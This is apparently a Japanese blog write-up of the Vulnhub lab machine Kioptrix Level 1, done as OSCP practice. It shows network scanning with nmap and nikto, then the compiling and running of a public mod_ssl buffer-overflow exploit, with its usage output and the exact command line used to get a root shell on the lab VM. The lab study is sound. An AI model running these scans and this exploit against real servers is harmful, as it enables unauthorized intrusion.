a

よろしくのキワミ

Kioptrix: Level 1解く

Kioptrix: Level 1解く

最近OSCPという資格を知り、ブログ投稿のリハビリがてら、前々からやりたいと思っていたVulnhubの問題を解いていくことにした。

ここに乗っているマシンを全て解いていこう

https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms.html

OSCPではMetasploitを使用できる回数は1回だけらしいのでネットで探して書き換えて使用していく

目標
  • なるべくMetasploitのPoCは使用しない
  • なるべく他の人が書いたWriteupを見ない

環境構築

https://www.hypn.za.net/blog/2017/07/15/running-kioptrix-level-1-and-others-in-virtualbox/

解いていく

偵察

サーバの脆弱性を探すときは、初手にポートスキャンをするのが相場と決まってるんだぜ✌️

と思ったが、対象サーバのipアドレスがわからないのでまずはそこから探すことにする。

netdiscoverコマンドを使用することで同一ネットワーク内のipアドレスを探すことができる。
設定の段階で同一のネットワークないだということがわかっているので、これを使用する。

f:id:toDo:20191222172931p:plain

攻撃するマシンのipアドレス192.168.56.102なので以下のコマンドを叩く

$ netdiscover -r 192.168.56.0/24

これで見つかるはずなのだが、なぜか見つからず、以下のコマンドだと見つかった

$ netdiscover -r 192.168.0.0/16

or

$ arp-scan -I eth1 -l

不思議ですねー

私の環境だと192.168.56.101に攻撃対象のサーバがあるので、そこに対してポートスキャンをかける

まずは普通にスキャンする

f:id:toDo:20191222174628p:plain

いろいろ空いているのが見える。

$ nmap -sV -sC 192.168.56.101

さらに上記のコマンドで動いているサービスのバージョンなどを詳しく調べることができる。

f:id:toDo:20191223062056p:plain

80443が開いているのでwebサーバが立っているっぽい

ブラウザで開いてみる。

f:id:toDo:20191222175037p:plain

webサーバがapacheで動いていそうなページが表示される。

webサーバが動いているので良くある名前を総当たりか、robots.txtを調べるのが定石っぽい

webアプリケーションの脆弱性スキャナniktoでスキャンしてみる

$ nikto -h 192.168.56.101

f:id:toDo:20191223055931p:plain

使用しているapacheのバージョンやheaderに足りていないオプションなどが表示される。

mod_sslバッファオーバーフロー脆弱性があるのでここから何かできそうだ

脆弱性情報を調べる

出力されている情報は以下の通り

mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to 
a remote buffer overflow which may allow a remote shell. 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-
2002-0082, OSVDB-756.

exploit-dbからPoCを見つけることができたので、コンパイルしてやる

f:id:toDo:20191223074537p:plain

エラーが出た。
下記のサイトの通りに書き換えてやる

https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/

再びコンパイルしてやると通る。

root@todo:~/tools# gcc -o OpenFuck 764.c -lcrypto
root@todo:~/tools# ls
764.c  OpenFuck
root@todo:~/tools# ./OpenFuck -h

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuck target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
        0x00 - Caldera OpenLinux (apache-1.3.26)
        0x01 - Cobalt Sun 6.0 (apache-1.3.12)
        0x02 - Cobalt Sun 6.0 (apache-1.3.20)

...

        0x87 - SuSE Linux 8.0 (apache-1.3.23)
        0x88 - SUSE Linux 8.0 (apache-1.3.23-120)
        0x89 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)

Fuck to all guys who like use lamah ddos. Read SRC to have no surprise

対象のサーバはRedhatapacheのバージョンは1.3.20なので使用するコマンドは

$ ./OpenFuck 0x6a 192.168.56.101 443 -c 40

で良さそうだ。

早速実行しよう

f:id:toDo:20191223081118p:plain

Goodbyeが出てしまった

Redhatのapache1.3.20に対するオプションはもう1つ0x6bがあるのでそちらを使用してみる

f:id:toDo:20191223081633p:plain

shellを取ることができた。

権限が低いのだがこれでいいのだろうか・・・?

画面を見てみるとptrace-kmod.cが見つからないというエラーが出ている。

表示されているURLからptrace-kmod.cをダウンロードしてくることに失敗したみたいだ。

閉じたネットワークで検証しているのでそういったエラーが出るのは当然なので、ローカルのサーバを立ててやることにする。

まずはローカルにptrace-kmod.cを用意し、ローカルサーバを立ててやる

f:id:toDo:20191223082501p:plain

次にOpenFuckのソースコードを書き換える

f:id:toDo:20191223084044p:plain

これでローカルに立てたサーバからファイルを取得してコンパイル、実行してくれるはずだ。

OpenFuckを再コンパイルして実行してやる。

f:id:toDo:20191223084153p:plain

管理者権限でshellが取得できていることが確認できた

f:id:toDo:20191223084901p:plain

終わりに

writeupをみると他にも脆弱性があり、そこからでもrootが取れたらしい

面白かったです

プライバシーポリシー お問い合わせ